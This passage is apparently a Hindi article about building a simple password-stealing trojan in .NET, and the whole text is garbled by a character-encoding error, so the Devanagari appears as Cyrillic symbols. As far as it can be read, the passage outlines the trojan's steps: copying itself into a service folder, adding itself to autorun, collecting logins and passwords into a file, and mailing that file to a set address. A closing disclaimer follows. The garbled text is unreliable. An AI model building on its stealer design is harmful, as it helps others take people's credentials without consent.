рддрджрдиреБрд╕рд╛рд░, рдореБрдЦреНрдп рд░реВрдк рд╕реЗ, рдкреНрд░рддреНрдпреЗрдХ рдЪрд░рдг рдХреЛ рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рдЯреНрд░реИрдХ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд░рдЬрд┐рд╕реНрдЯреНрд░рд╛рд░ рдлрдВрдХреНрд╢рди рдореЗрдВ, рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЦреБрдж рдХреЛ рд╕рд░реНрд╡рд┐рд╕ рдлреЛрд▓реНрдбрд░ рдореЗрдВ рдХреЙрдкреА рдХрд░ рд▓реЗрддрд╛ рд╣реИ рдФрд░ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдмреВрдЯ рд╣реЛрдиреЗ рдкрд░ рдСрдЯреЛрд░рди рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рддрд╛ рд╣реИ, рдЬреЗрдирд░реЗрдЯ рдмреНрд▓реЙрдХ рдореЗрдВ рдпрд╣ рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рд▓реЙрдЧрдЗрди рдХреЗ рд╕рд╛рде рдлрд╛рдЗрд▓ рдЬреЗрдирд░реЗрдЯ рдХрд░рддрд╛ рд╣реИ, рд╕рдм рдХреБрдЫ рдереЛрдбрд╝рд╛ рднреНрд░рдорд┐рдд рд╣реЛрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣рд╛рдВ рдЬреНрдпрд╛рджрд╛рддрд░ рдХреЛрдб рдУрдкрди рд╕реЛрд░реНрд╕ рд╕реЗ рдХреЙрдкреА рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдХреЛрдб рдХреА рдЬрдЧрд╣ рдкрд░ рдЯрд┐рдкреНрдкрдгреА рдХреА рдЧрдИ рд╣реИ, рдпрд╣рд╛рдВ рдореБрдЭреЗ рджреЛрд╣рд░рд╛рдиреЗ рдХрд╛ рдХреЛрдИ рдХрд╛рд░рдг рдирд╣реАрдВ рджрд┐рдЦрддрд╛ рд╣реИред рдФрд░ рдЕрдВрдд рдореЗрдВ, Send рдлрд╝рдВрдХреНрд╢рди рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдореЗрд▓ рдкрд░ рдкрд╛рд╕рд╡рд░реНрдб рдлрд╝рд╛рдЗрд▓ рднреЗрдЬрддрд╛ рд╣реИред рдХреЛрдб рдХреЛ рднреА рд╕реЙрдХреЗрдЯ рдФрд░ рдЯреАрд╕реАрдкреА / рдЖрдИрдкреА рд╕реНрдЯреИрдХ рдХреЗ рдЧрд╣рди рдЬреНрдЮрд╛рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИ - .NET рдореЗрдВ рд╕рдм рдХреБрдЫ рдмрд╣реБрдд рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рдореЗрд▓ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдЪреНрдЪ-рд╕реНрддрд░реАрдп рд╡рд░реНрдЧ рдореЗрдВ рд▓рдкреЗрдЯрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ, рддреЛ рдЖрдк POST рдЕрдиреБрд░реЛрдзреЛрдВ рдФрд░ FTP рд╕рд░реНрд╡рд░ рд╕рд╣рд┐рдд рдХрд┐рд╕реА рднреА рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдореЗрдВ рдбреЗрдЯрд╛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЗрд╕рд╕реЗ рд╕рд░реНрд╡рд░ рдХреЛ рдЙрдард╛рдирд╛ рдирд╣реАрдВ рдкрдбрд╝реЗрдЧрд╛ - рдЖрдк рдореЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдХреЛрдб рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рдЖрдзреЗ рдШрдВрдЯреЗ рдХреЗ рдмрд╛рдж, рд╣рдореЗрдВ рдПрдХ рдкреВрд░реНрдг рдЯреНрд░реЛрдЬрди рдорд┐рд▓рд╛, рдЬреЛ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рджреНрд╡рд╛рд░рд╛ рдкрдХрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрджрд┐ рдЖрдк рдЗрд╕реЗ рдзреНрдпрд╛рди рдореЗрдВ рдирд╣реАрдВ рд░рдЦрддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред рдФрд░ рдПрдХ рд╕рдордп рдореЗрдВ, рдЗрд╕ рддрд░рд╣ рдХреЗ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рд▓рд┐рдЦрдиреЗ рдореЗрдВ рдХрдИ рд╕реИрдХрдбрд╝реЛрдВ рд▓рд╛рдЗрдиреЗрдВ рд▓рдЧреАрдВред рдЕрдм рдЗрд╕рдореЗрдВ рдПрдХ-рджреЛ рдорд┐рдирдЯ рд▓рдЧ рдЧрдПред

рдпрд╣ рдЕрдЪреНрдЫрд╛ рд╣реИ рдпрд╛ рдмреБрд░рд╛ рд╣реИ? рдпрд╣ рд╕рд╡рд╛рд▓ рдмрд╣реБрдд рдЦреБрд▓рд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдПрдХ рддрд░рдл, рдкреЗрд╢реЗ рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХреЗ рд╕реНрддрд░ рдореЗрдВ рдХрдореА рд╕реЗ рдХрд░реНрдорд┐рдпреЛрдВ рдХреА рдЖрдордж рдмрдврд╝ рдЬрд╛рддреА рд╣реИ, рд╣рд╛рд▓ рд╣реА рдореЗрдВ рдПрдХ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рд▓рд┐рдЦрдирд╛ рдЖрд╕рд╛рди рд╣реЛ рдЧрдпрд╛ рд╣реИ, рдХреНрд░рдорд╢рдГ рдЕрдзрд┐рдХ рдХрд╛рд░реНрдпрдХреНрд░рдо рд╣реБрдП рд╣реИрдВ, рдФрд░ рдПрдХ рдмрд╛рдЬрд╛рд░ рдЕрд░реНрдерд╡реНрдпрд╡рд╕реНрдерд╛ рдореЗрдВ рдпрд╣ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рдЕрдЪреНрдЫрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рддрд┐рдпреЛрдЧрд┐рддрд╛ рдЧреБрдгрд╡рддреНрддрд╛ рдореЗрдВ рд╕реБрдзрд╛рд░ рдХрд░рддреА рд╣реИред рджреВрд╕рд░реА рдУрд░, рдХрдо рдПрдВрдЯреНрд░реА рдереНрд░реЗрд╢реЛрд▓реНрдб рдХрд╛ рдЕрд░реНрде рд╣реИ рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдирд┐рдореНрди-рдФрд░ рдордзреНрдпрдо-рдХреБрд╢рд▓ рдХрд░реНрдордЪрд╛рд░реА, рдЬрд┐рд╕рдХреЗ рдХрд╛рд░рдг рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЙрддреНрдкрд╛рджреЛрдВ рдХреА рдЧреБрдгрд╡рддреНрддрд╛ рд╡рд╛рдВрдЫрд┐рдд рд╕реЗ рдХрдо рдмрдиреА рд░рд╣рддреА рд╣реИ, рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдбреЗрд╡рд▓рдкрд░ рдХреЗ рдХрд╛рдо рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рднреА рдЙрдкрдХрд░рдгреЛрдВ рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрддреЗ рд╣реБрдП - рдЖрдзреБрдирд┐рдХ рдЙрдЪреНрдЪ-рд╕реНрддрд░реАрдп рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рднрд╛рд╖рд╛рдУрдВ, рдПрдХреАрдХреГрдд рд╡рд┐рдХрд╛рд╕ рд╡рд╛рддрд╛рд╡рд░рдг, рдбреАрдмрдЧрд░реНрд╕, рдЖрджрд┐ред ред

рдЦреИрд░, рдЬрд╝рд╛рд╣рд┐рд░ рд╣реИ - рдЪреВрдВрдХрд┐ рдЕрдзрд┐рдХ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЙрддреНрдкрд╛рдж рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдЕрдзрд┐рдХ рд╡рд╛рдпрд░рд╕ рд╣реИрдВред рдмреЗрд╢рдХ, рдПрдХ рд╕рд╛рдл рдФрд░ рдЪреМрдХрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЖрдорддреМрд░ рдкрд░ рдЬрд╛рдирддрд╛ рд╣реИ рдХрд┐ рдЙрдиреНрд╣реЗрдВ рдХреИрд╕реЗ рдмрдЪрдирд╛ рд╣реИ - рд╡рд╣ рдкрддреНрд░реЛрдВ рд╕реЗ рд▓рд┐рдВрдХ рдХрд╛ рдкрд╛рд▓рди рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЕрд╕рддреНрдпрд╛рдкрд┐рдд рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡ рдирд╣реАрдВ рдбрд╛рд▓рддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдпрд╣ рддрдереНрдп рдЕрднреА рднреА рдмрдирд╛ рд╣реБрдЖ рд╣реИ - рдЕрдм, рдЬрдм рдкреНрд░рддреНрдпреЗрдХ рд╣рд╛рдИ рд╕реНрдХреВрд▓ рдЫрд╛рддреНрд░ рдЬрд╛рдирддрд╛ рд╣реИ рдХрд┐ рдПрдХ рдмреБрдирд┐рдпрд╛рджреА рд╡рд╛рдпрд░рд╕ рдХреИрд╕реЗ рд▓рд┐рдЦрдирд╛ рд╣реИ - рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рдХреБрдЫ рджрд╢рдХ рдкрд╣рд▓реЗ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЕрдзрд┐рдХ рд▓реЛрдХрдкреНрд░рд┐рдп рд╣реЛ рдЧрдП рд╣реИрдВред

рдХрд┐рд╕реА рднреА рддрд░рд╣ рд╕реЗ рд▓реЗрдЦрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрд╢рдВрд╕рд╛ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдпрд╛рдж рджрд┐рд▓рд╛рддрд╛ рд╣реИ рдХрд┐ рдирд┐рдЬреА рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдЕрд╡реИрдз рдкрд╣реБрдБрдЪ рдХрд╛ рдореБрдХрджрдорд╛ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

All Articles